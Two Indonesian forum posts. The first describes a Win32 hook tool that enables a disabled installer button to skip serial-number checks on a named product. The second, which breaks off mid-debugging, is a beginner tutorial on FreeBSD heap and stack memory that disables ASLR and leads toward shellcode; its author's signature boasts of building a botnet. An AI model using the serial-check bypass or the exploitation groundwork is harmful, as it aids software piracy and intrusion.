pemikiran Saya dengan menerapkan Win32 Hook. Jadi jangan berharap lebih ya? . Karena disini
Saya tidak mengajak Anda melakukan proses Reverse Engineering ataupun Coding secara
mendalam.. MALAS! . Mungkin lain kali.. tapi gak janji loh..


Teori 

Sekedar pengetahuan bagi Anda yang mungkin masih awam dengan istilah pemrograman
dan dunia komputer, serta bagi Anda yang bukan Programmer (karena Anda berarti sama seperti
Saya..  ) Hook atau Win32 Hook merupakan salah satu point mekanisme penanganan pesan
(Message-Handling) di dalam Microsoft Windows. Dimana sebuah aplikasi dapat menginstal suatu
sub-rutin untuk memonitor lalu lintas pesan didalam sistem dan beberapa proses tertentu dari
pesan tersebut sebelum mencapai prosedur jendela target.
Hook itu sendiri termasuk dalam kategori Handles and Object. Dan masuk dalam spesifikasi
User object. Lantas mengapa hal “ANEH” ini diperlukan dalam teknik pemrograman?? Ada 2 alasan..
Pertama, penggunaan obyek dapat memastikan bahwa pengembang
(Developer/Programmer) tidak menulis kode secara spesifik untuk low-level, struktur internal. Hal ini
memungkinkan Microsoft untuk menambahkan atau mengubah kemampuan sistem operasi,
sepanjang pemanggilan konvensi yang asli terjaga. Jadi jika suatu saat Microsoft meluncurkan
Operating System, aplikasi yang dibuat oleh para developer ini akan mendapatkan kemampuan baru
dengan sedikit penambahan atau tidak sama sekali.
Kedua, pemakaian obyek memungkinkan pengembang (Developer/Programmer)
mendapatkan keuntungan dari keamanan Win32. Masing-masing obyek mempunyai daftar kendali
akses sendiri (access-control list /ACL) yang menetapkan jenis-jenis tindakan proses dapat berjalan pada obyek.
Operating System menguji suatu obyek ACL setiap kali sebuah aplikasi mencoba untuk
menciptakan handle pada obyek.


Windows APIs



SetWindowsHookEx (Referensi USER32.DLL) 

HHOOK SetWindowsHookEx( 
int idHook, // type of hook to install 
HOOKPROC lpfn, // address of hook procedure 
HINSTANCE hMod, // handle of application instance 
DWORD dwThreadId // identity of thread to install hook for 
);

CallNextHookEx (Referensi USER32.DLL) 

LRESULT CallNextHookEx( 
HHOOK hhk, // handle to current hook 
int nCode, // hook code passed to hook procedure 
WPARAM wParam, // value passed to hook procedure 
LPARAM lParam // value passed to hook procedure 
);

UnhookWindowsHookEx (Referensi USER32.DLL)

BOOL UnhookWindowsHookEx( 
HHOOK hhk // handle of hook procedure to remove 
);

Proof of Concept 

Jalankan program Enable Hook, Anda akan melihat icon kecil di tray icon dengan caption
“MRHPx Enable Hook OFF”. Program Enable Hook ini telah diuji pada beberapa aplikasi yang
menggunakan proteksi Password maupun Serial Number pada saat installasi, salah satunya adalah
DigiFish AncientOcean v1.01. Tanpa Serial Number yang benar Anda tidak akan dapat melakukan
installasi program karena tombol “Next” dalam status disable (Screen. 1)

Screen 1
Setelah itu coba Anda klik kiri dengan mouse, program Enable Hook yang berada di tray icon sampai
icon dan statusnya berubah menjadi ON (Screen. 2). Tanda  berarti OFF, dan tanda  berarti ON. Lalu coba klik tombol “Next” disable yang berada di jendela installasi program tadi.
Bagaimana? Statusnya berubah menjadi Enable dan bisa di klik dengan mouse bukan?


Screen 2



Kesimpulan 

Mengapa tombol “Next” yang semula disable berubah menjadi enable? Padahal Serial
Number masih kosong, tidak diisi sama sekali? Jawabannya adalah karena di dalam “Handles and
Objects” sebuah aplikasi bisa meraih Obyek-Jendela handle yang ada. Sama halnya dengan Anda
tidak perlu mengganti channel TV manual, sampai harus jalan bolak-balik dari tempat duduk Anda ke
meja TV jika sudah ada remote control di tangan Anda. Jadi meskipun diisi Password dan Serial
Number yang benar ataupun tidak benar sekalipun, installasi akan tetap berjalan lancar. Sampai
disini, Anda sudah melihat kehebatan Win32 Hook bukan. Jadi jangan pernah menganggap remeh
Win32 APIs Hook sebelum mempelajarinya. Bahkan proteksi FLEXlm yang terkenal itupun takluk
karena hal ini. Untuk para developer, apakah masih yakin proteksi program installer Anda ini benar-
benar aman?? Silahkan berkreasi dan berekspresi dengan Win32 APIs. Terima kasih semoga
bermanfaat.


Download link klik disini

Bermain main dengan heap dan stack di FreeBSD 32 bit

dj-wandy:

=========Bermain main dengan heap dan stack di FreeBSD 32 bit===============
Writer: mywisdom
New Team : devilzc0de.org
Article Level : for beginner
Old Team : http://web.archive.org/web/200408100...x/aboutus.html
"Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous 4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1 p3rs0n 0nly m4k1ng th1s)"
------------------------------------------
content:
- Foreword
- Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk)
- Valgrind & Alleyoop Memory Checker di linux 32 bit
- Bermain main dengan Stack di FreeBSD 8.2
- Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2
- Closing

-[ Foreword ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk pemula yg ingin
bermain2 dengan heap dan stack di freebsd dan linux.

-[ Bermain main dengan Heap di FreeBSD 8.2 ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian ini bisa dimanage / dipengaruhi dengan menggunakan 
malloc , free, realloc, calloc, jemalloc (BSD), brk,delete. 
Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused (tidak terpakai), yang dimaksud unused adalah daerah .bss . 
Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum diisi, bagian ini akan diinialisasi saat run time.

~~malloc()~~

Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan malloc untuk alokasi memori heap:
------------------------------------------------------------
/**sample heap (dynamic) memory allocation made by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main()
{
if (fork() != 0)
{ 
exit(1);
} 
char *bufer = (char *)malloc(sizeof(char));
memset(bufer, 'A', sizeof(char)-1);
printf("%p",bufer);
printf("\n================\n");
for(;
{
}
return(0);
}
-----------------------------------------------------

misal diberi nama malloc.c lalu kompile dan jalankan:
-------------------------
mywisdom# gcc -o malloc malloc.c -g
mywisdom# ./malloc
0x28201100
================
mywisdom# 
-------------------------

dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem operasi beda beda). 

coba kita tes di mesin satu lagi dengan os freebsd 6.2:
-----------
%uname -a
FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov 6 16:13:56 EST 2007 root@myhost.org:/usr/src/sys/i386/compile/MNET i386
%./malloc
%0x804b030
----------------
you'll see that's pretty much different.
ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada daerah heap:
--------------
/**malloc2 by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define UKURAN1 8
#define UKURAN2 8
#define UKURAN3 8
int main()
{
char *bafer = (char *)malloc(UKURAN1);
memset(bafer, 'A', UKURAN1-1);
char *bafer2 = (char *)malloc(UKURAN2);
memset(bafer2, 'B', UKURAN2-1);
char *bafer3 = (char *)malloc(UKURAN3);
memset(bafer3, 'C', UKURAN3-1);
printf("\nalamat heap bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
-----------
ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p

kompile lalu debug dengan gdb:
-----------------------
mywisdom# gcc -o malloc2 malloc2.c -g
mywisdom# gdb -q malloc2
(gdb) l
1 /**malloc2 by mywisdom**/
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5 #include <string.h>
6 #define UKURAN1 8
7 #define UKURAN2 8
8 #define UKURAN3 8
9 int main()
10 {
(gdb) l
11 char *bafer = (char *)malloc(UKURAN1);
12 memset(bafer, 'A', UKURAN1-1);
13 char *bafer2 = (char *)malloc(UKURAN2);
14 memset(bafer2, 'B', UKURAN2-1);
15 char *bafer3 = (char *)malloc(UKURAN3);
16 memset(bafer3, 'C', UKURAN3-1);
17 printf("\nalamat heap bafer 1 adalah %p\n", bafer);
18 printf("\nstring dump bafer 1 adalah %s\n", bafer);
19 printf("\nalamat heap bafer 2 adalah %p\n", bafer2);
20 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
(gdb) l
21 printf("\nalamat heap bafer 3 adalah %p\n", bafer3);
22 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
23 return 0;
24 }
(gdb) 

----------------------

selanjutnya break di line 23 dan tes run:



----------------
(gdb) b 23
Breakpoint 1 at 0x80485b1: file malloc2.c, line 23.
(gdb) run
Starting program: /root/c/malloc2 

alamat heap bafer 1 adalah 0x28201050

string dump bafer 1 adalah AAAAAAA

alamat heap bafer 2 adalah 0x28201058

string dump bafer 2 adalah BBBBBBB

alamat heap bafer 3 adalah 0x28201060

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main () at malloc2.c:23
23 return 0;
(gdb) x/3s 0x28201050
0x28201050: "AAAAAAA" (673189968)
0x28201058: "BBBBBBB" (673189976)
0x28201060: "CCCCCCC" (673189984) 
(gdb) 
---------------------

dari dump string kita lihat length cuma 7 karena instruksi : memset(bafer2, 'B', UKURAN2-1); karena : #define UKURAN2 8 jadi 8-1=7 

kita bandingkan sebentar dengan operasi pada stack, misal buat suatu program dg nama strncpy.c :
--------------------------
/**sample stack operation local var by mywisdom**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc,char *argv[])
{
char *bafer[8];
char *bafer2[8];
char *bafer3[3];
strncpy (bafer,argv[1],8);
strncpy (bafer2,argv[2],8);
strncpy (bafer3,argv[3],8);
printf("\nalamat stack bafer 1 adalah %p\n", bafer);
printf("\nstring dump bafer 1 adalah %s\n", bafer);
printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
printf("\nstring dump bafer 2 adalah %s\n", bafer2);
printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
printf("\nstring dump bafer 3 adalah %s\n", bafer3);
return 0;
}
------------------------------

kompile dengan opsi -g: dan debug dengan break di line 20
----------
mywisdom# gdb -q strncpy
(gdb) l
1 /**sample stack operation local var by mywisdom**/
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <unistd.h>
5 #include <string.h>
6 int main(int argc,char *argv[])
7 {
8 char *bafer[8];
9 char *bafer2[8];
10 char *bafer3[3];
(gdb) l
11 strncpy (bafer,argv[1],8);
12 strncpy (bafer2,argv[2],8);
13 strncpy (bafer3,argv[3],8);
14 printf("\nalamat stack bafer 1 adalah %p\n", bafer);
15 printf("\nstring dump bafer 1 adalah %s\n", bafer);
16 printf("\nalamat stack bafer 2 adalah %p\n", bafer2);
17 printf("\nstring dump bafer 2 adalah %s\n", bafer2);
18 printf("\nalamat stack bafer 3 adalah %p\n", bafer3);
19 printf("\nstring dump bafer 3 adalah %s\n", bafer3);
20 return 0;
(gdb) b 20
Breakpoint 1 at 0x8048553: file strncpy.c, line 20.
(gdb) run AAAAAAA BBBBBBB CCCCCCC
Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC

alamat stack bafer 1 adalah 0xbfbfe990

string dump bafer 1 adalah AAAAAAA

alamat stack bafer 2 adalah 0xbfbfe970

string dump bafer 2 adalah BBBBBBB

alamat stack bafer 3 adalah 0xbfbfe964

string dump bafer 3 adalah CCCCCCC

Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20
20 return 0;
(gdb) 
----------

ok jika kita bandingkan dengan debug program dengan operasi pada heap:

malloc2.c (we're playing at heap):
-----------
0x28201050: "AAAAAAA" (673.189.968)
0x28201058: "BBBBBBB" (673.189.976)
0x28201060: "CCCCCCC" (673.189.984) 
------------

di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat memori akan bergerak ke atas ke alamat yg lebih tinggi

strncpy.c (we're playin at stack area)
-------------------
0xbfbfe990: "AAAAAAA" (3.217.025.424)
0xbfbfe970: "BBBBBBB" (3.217.025.392)
0xbfbfe964: "CCCCCC" (3.217.025.380)
-----------------

sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat memori bergerak ke bawah ke alamat yang lebih rendah.

(alamat memori yang lebih rendah)

berikut ini gambaranya:

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJbdxF-WS4Udij2jHCT52TWgn3ep7ftTU6KAbGkLaFJTXNmcoEw8MJ-l7V16X8zk0fn0k1zN4SWhIJCUxXpOWN2PuREM6gqOja90oCRmYDIVr-cG5qidUgbUzUDR2IKbLUyaiZPomBgw0/s1600/memlay.jpg">


----------penggunaan sys_brk di linux dan freebsd----------
Misal berikut ini contoh kode assembly untuk implementasi sys_brk

mov ebx, 0
mov eax, 0x2d ;----------> syscall sys_brk 
int 0x80
test eax, eax 
js label_error_handling_here

ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori yang tersedia maka ebx kita isi dengan zero.

setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0
jika minus 
berarti terjadi kegagalan. 

berikut ini contoh penggunaan sys_brk:

root@mywisdom-Vostro1310:~/asm# cat sys_brk.asm
global _start
section .text
_start:
mov ebx, 0
mov eax, 0x2d
int 0x80 
cmp eax, 0 
jl gagal
jmp sukses 



;not efficient way dont do this in real code 
sukses:
mov eax, 4
mov ebx, 1
mov ecx, berhasil
mov edx, pberhasil
int 0x80

mov eax,1
mov ebx,0
int 0x80 


gagal:
mov eax, 4
mov ebx, 1
mov ecx, salah
mov edx, psalah
int 0x80

mov eax,1 
mov ebx,0
int 0x80 

section .data
salah db "sys_brk gagal !!!",10
psalah equ $ -salah 

berhasil db "sys_brk berhasil !!!",10
pberhasil equ $ -berhasil 

root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o
root@mywisdom-Vostro1310:~/asm# ./sys_brk
sys_brk berhasil !!!
root@mywisdom-Vostro1310:~/asm# 

untuk mempermudah debugging tambahkan opsi -g



root@mywisdom-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g
root@mywisdom-Vostro1310:~/asm# ld -o sys_brk sys_brk.o



mari kita examine dengan strace

root@mywisdom-Vostro1310:~/asm# strace ./sys_brk
execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0
brk(0) = 0x81e2000
write(1, "sys_brk berhasil !!!\n", 22sys_brk berhasil !!!
) = 22
_exit(0) = ?
root@mywisdom-Vostro1310:~/asm# 

sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu:
-----------------
mywisdom# cat /usr/include/sys/syscall.h | grep brk
#define SYS_sbrk 69
mywisdom# 
------------------

jadi berikut ini rutin untuk memanggil sys brk:
-------------------------------------
mov $0, %ebx 
mov $45,%eax 
int $0x80
test %eax, %eax 
js _gagal
----------------------------------
karena 69 desimal= 45 hexa

berikut ini contoh kode assembly untuk sys_brk:
========================
.section .rodata
evilbuf:
.ascii "sys_brk berhasil !"
len = . - evilbuf
evilbuf2:
.ascii "sys_brk gagal !"
len2 = . - evilbuf2


.globl _start
_start:
mov $0, %ebx 
mov $45,%eax 
int $0x80
test %eax, %eax 
js _gagal

pushl $len
pushl $evilbuf
pushl $1
movl $4,%eax
pushl %eax
int $0x80
jmp _out

_gagal:
pushl $len2
pushl $evilbuf2
pushl $1
movl $4,%eax
pushl %eax
int $0x80


_out:
movl $1, %eax
pushl $0
pushl %eax
int $0x80
=============================




--[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32 bit]---------------------------------------------------------------------------------------------------------------------------------

Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind biasa digunakan untuk debug memori, mendeteksi memory leak, dll.
Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di atas, kali ini dites di linux :

[img]https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYN7GJGAgIHzkIn_NAeisNG3D1vw1C97EalFANuMt_Yn-VOZDribsPGgSt3SzaG_Mx9Qca24OZ6SvRhzfR9fiMDHhVhhIiT4bSwylQQifhyphenhyphenJ_wShCSGAuCvGLg1PAAnfw68kmu4JLXwto/s1600/fmtx.jpg">
------------
root@mywisdom-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space
2
-------------
keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan dulu:
---------------
echo 0 > /proc/sys/kernel/randomize_va_space
-------------

setelah dimatikan alamat virtual address memori menjadi tetap :
-------------------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================

root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# ./malloc
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 0x804b008
================
-------------------------------

Untuk menguji dengan Alleyoop :



valgrind bisa juga dites langsung dari cli:
---------------------
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# valgrind ./malloc
==13455== Memcheck, a memory error detector
==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info
==13455== Command: ./malloc
==13455== 
0x4198028
================
==13455== 
==13455== HEAP SUMMARY:
==13455== in use at exit: 0 bytes in 0 blocks
==13455== total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==13455== 
==13455== All heap blocks were freed -- no leaks are possible
==13455== 
==13455== For counts of detected and suppressed errors, rerun with: -v
==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6)
root@mywisdom-Vostro1310:/home/mywisdom/artikel/c# 
------------------------------------------------



--[ Bermain main dengan Stack di FreeBSD 8.2]------------------------------------------------------------------------------------------------------------------------------

untuk memahami cara kerja stack mari kita buat sample program assembly untuk bermain main dengan variabel lokal :
-----------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
push 1
pop eax
int 80h
-------------------------

lakukan kompile dengan opsi -g : 
nasm -f elf stack.asm
ld -o stack stack.o

examine dengan gdb:
----------------------------------
mywisdom# gdb -q stack
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 push 1
15 pop eax 
16 int 80h
(gdb) b 6
Breakpoint 2 at 0x8048083: file stack.asm, line 6.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/c/stack 

Breakpoint 2, 0x08048083 in _start ()
(gdb) p $esp
$4 = (void *) 0xbfbfea30
(gdb) p $ebp
$5 = (void *) 0xbfbfea30
-----------------------

karena perintah:
--------------------------
mov ebp,esp
--------------------------

---------------------
(gdb) b 7
Breakpoint 1 at 0x8048088: file stack.asm, line 7.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x08048088 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea2c 0xbfbfea2c
ebp 0xbfbfea30 0xbfbfea30
esi 0x0 0
edi 0x0 0
eip 0x8048088 0x8048088
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) 
---------------------


kita bisa lihat ada perubahan :

-----------------------------
esp 0xbfbfea2c (3217025580)
ebp 0xbfbfea30 (3217025584)
---------------------------

di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA' :
---------------------------
(gdb) x/s 0xbfbfea2c
0xbfbfea2c: "AAAA"
(gdb) 
--------------------------

push 'BBBB':
esp 0xbfbfea28 (3217025576)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea28
0xbfbfea28: "BBBBAAAA"
(gdb) 

---------------
s/d HHHH:
esp 0xbfbfea10 (3217025552)
ebp 0xbfbfea30 (3217025584)

(gdb) x/s 0xbfbfea10
0xbfbfea10: "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
------------------

Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan operasi push, saat terjadi push nilai esp setiap kali kita melakukan push
selalu bergeser ke alamat memori yang lebih kecil,
Selisih antara ebp dan esp ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal = jumlah karakter yang telah dipush.

selanjutnya kita akan melakukan tes pop :

misal kita edit program tadi kita tambahkan pop:
pop.asm
------------------------
global _start
section .text
_start:
push ebp
mov ebp,esp
push 'AAAA'
push 'BBBB'
push 'CCCC'
push 'DDDD'
push 'EEEE'
push 'FFFF'
push 'GGGG'
push 'HHHH'
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
push 1
pop eax
int 80h
-------------------------

dengan : pop eax berarti kita memindahkan top stack ke register eax.

simpan dengan nama misal : pop.asm lalu kompile dan debug:
------------
mywisdom# nasm -f elf pop.asm -g
mywisdom# ld -o pop pop.o
mywisdom# gdb -q pop
(gdb) l
1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) l
21 pop eax
22 push 1
23 pop eax
24 int 80h
(gdb) b 15
Breakpoint 1 at 0x80480ac: file pop.asm, line 15.
(gdb) run
Starting program: /root/c/pop 

Breakpoint 1, 0x080480ac in _start ()
(gdb) i r
eax 0x48484848 1212696648
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea28 0xbfbfea28
ebp 0xbfbfea44 0xbfbfea44
esi 0x0 0
edi 0x0 0
eip 0x80480ac 0x80480ac
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfea28
0xbfbfea28: "GGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
----------

kita di sini bisa lihat setelah dilakukan pop jika didump data berupa string mulai dari 0xbfbfea28 maka sisanya adl: GGGGFFFFEEEEDDDDCCCCBBBBAAAA (Last in first Out)


-------------
mywisdom# gdb -q stack
(gdb) l
warning: Source file is more recent than executable.

1 global _start
2 section .text
3 _start:
4 push ebp
5 mov ebp,esp
6 push 'AAAA'
7 push 'BBBB'
8 push 'CCCC'
9 push 'DDDD'
10 push 'EEEE'
(gdb) l
11 push 'FFFF'
12 push 'GGGG'
13 push 'HHHH'
14 pop eax
15 pop eax
16 pop eax
17 pop eax
18 pop eax
19 pop eax
20 pop eax
(gdb) b 12
Breakpoint 1 at 0x80480a1: file stack.asm, line 12.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x080480a1 in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xbfbfea1c 0xbfbfea1c
ebp 0xbfbfea34 0xbfbfea34
esi 0x0 0
edi 0x0 0
eip 0x80480a1 0x80480a1
eflags 0x202 514
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s $ebp-4
0xbfbfea30: "AAAA"
(gdb) x/s $ebp-8
0xbfbfea2c: "BBBBAAAA"
(gdb) x/s $ebp-12
0xbfbfea28: "CCCCBBBBAAAA"
(gdb) x/s $ebp-14
0xbfbfea26: "DDCCCCBBBBAAAA"
(gdb) info frame
Stack level 0, frame at 0xbfbfea3c:
eip = 0x80480a1 in _start; saved eip 0x1
called by frame at 0x0
Arglist at 0xbfbfea34, args: 
Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c
Saved registers:
ebp at 0xbfbfea34, eip at 0xbfbfea38

----------------------------
di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan tumpukan paling bawah dengan hasil dump : "AAAA"
dan seterusnya...

Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan pakai bahasa C untuk menguji coba parameter 

mywisdom.c :
--------------------------------
#include <stdio.h>
int main(int argc,char **argv[])
{
printf("%s %s\n",argv[1],argv[2]);
printf("%08x %08x\n",argv[1],argv[2]);
return 0;
}
-------------------------------

kompile dan tes:
--------------
mywisdom# gcc -o mywisdom mywisdom.c -g
mywisdom# ./mywisdom a b
a b
bfbfebbb bfbfebbd
mywisdom# 
----------------

ok mari kita debug:

----------------------
mywisdom# gdb -q mywisdom
(gdb) l
1 #include <stdio.h>
2 int main(int argc,char **argv[])
3 {
4 printf("%s %s\n",argv[1],argv[2]);
5 printf("%08x %08x\n",argv[1],argv[2]);
6 return 0;
7 }
8 
(gdb) b 6
Breakpoint 1 at 0x804849c: file mywisdom.c, line 6.
(gdb) run AAAA BBBB
Starting program: /root/c/mywisdom AAAA BBBB
AAAA BBBB
bfbfeba1 bfbfeba6

Breakpoint 1, main (argc=3, argv=0xbfbfea18) at mywisdom.c:6
6 return 0;
(gdb) 
-----------------------

string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori 0xbfbfeba1 :
-----------
(gdb) x/s 0xbfbfeba1
0xbfbfeba1: "AAAA"
(gdb) 
-------------

string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori 0xbfbfeba6
---------------
(gdb) x/s 0xbfbfeba6
0xbfbfeba6: "BBBB"
(gdb) info frame
Stack level 0, frame at 0xbfbfe9d0:
eip = 0x804849c in main (mywisdom.c:6); saved eip 0x80483c7
source language c.
Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18
Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0
Saved registers:
ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc
(gdb) x/30s 0xBFBFEB8D 
0xbfbfeb8d: ""
0xbfbfeb8e: ""
0xbfbfeb8f: ""
0xbfbfeb90: "/root/c/mywisdom"
0xbfbfeba1: "AAAA"
0xbfbfeba6: "BBBB"
0xbfbfebab: "COLUMNS=80"
0xbfbfebb6: "LINES=24"
0xbfbfebbf: "ORBIT_SOCKETDIR=/var/tmp/orbit-root"
0xbfbfebe3: "WINDOWPATH=9"
0xbfbfebf0: "DISPLAY=:0.0"
0xbfbfebfd: "GNOME_KEYRING_PID=1974"
0xbfbfec14: "GDM_KEYBOARD_LAYOUT=us"
0xbfbfec2b: "LOGNAME=root"
0xbfbfec38: "PWD=/root/c"
0xbfbfec44: "HOME=/root"
---------------------


Gambaran Memori Saat printf dipanggil dari main() :

------------------------------------------------
0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958) 
0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953) 
0xbfbfeb90 | parameter ke 0 (ebp+1c8) | /root/c/mywisdom (3217025936)
0xbfbfe9cc | eip (ebp+4) | (3217025484) 
0xbfbfe9c8 | ebp | (3217025480)
0xbfbfe9b0 | esp | (3217025456)
-------------------------------------------------- 

****contoh debugging program dengan operasi stack
---------------------
/**operasi stack di c by mr dom dom**/
#include <stdio.h>
void operasi_stak(char a[],char b[],char c[],char d[])
{

}
int main(int argc, char *argv[])
{
operasi_stak("AAAA","BBBB","CCCC","DDDD");
return 0;
}


-----------------------
misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g

lalu examine dengan gdb:

---------------
mywisdom# gdb -q stack
(gdb) l
1 /**operasi stack di c by mr dom dom**/
2 #include <stdio.h>
3 void operasi_stak(char a[],char b[],char c[],char d[])
4 {
5 
6 }
7 int main(int argc, char *argv[])
8 {
9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
10 return 0;
(gdb) 

----------------------


Lakukan break di line 9 saat terjadinya operasi stack:
----------------
(gdb) b 9
Breakpoint 2 at 0x8048431: file stack.c, line 9.
--------------
tes run :
------------------
(gdb) run
Starting program: /root/artikel/c/stack 

Breakpoint 1, main () at stack.c:9
warning: Source file is more recent than executable.

9 operasi_stak("AAAA","BBBB","CCCC","DDDD");
(gdb) 


----------------

lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai dari main):
----------------------------------
(gdb) x/16i main
0x8048420 <main>: lea 0x4(%esp),%ecx
0x8048424 <main+4>: and $0xfffffff0,%esp
0x8048427 <main+7>: pushl 0xfffffffc(%ecx)
0x804842a <main+10>: push %ebp
0x804842b <main+11>: mov %esp,%ebp
0x804842d <main+13>: push %ecx
0x804842e <main+14>: sub $0x10,%esp
0x8048431 <main+17>: movl $0x8048501,0xc(%esp)
0x8048439 <main+25>: movl $0x8048506,0x8(%esp)
0x8048441 <main+33>: movl $0x804850b,0x4(%esp)
0x8048449 <main+41>: movl $0x8048510,(%esp)
0x8048450 <main+48>: call 0x8048410 <operasi_stak>
0x8048455 <main+53>: mov $0x0,%eax
0x804845a <main+58>: add $0x10,%esp
0x804845d <main+61>: pop %ecx
0x804845e <main+62>: pop %ebp
(gdb) step 
operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC", 
d=0x8048501 "DDDD") at stack.c:6
6 }
(gdb) info frame
Stack level 0, frame at 0xbfbfe994:
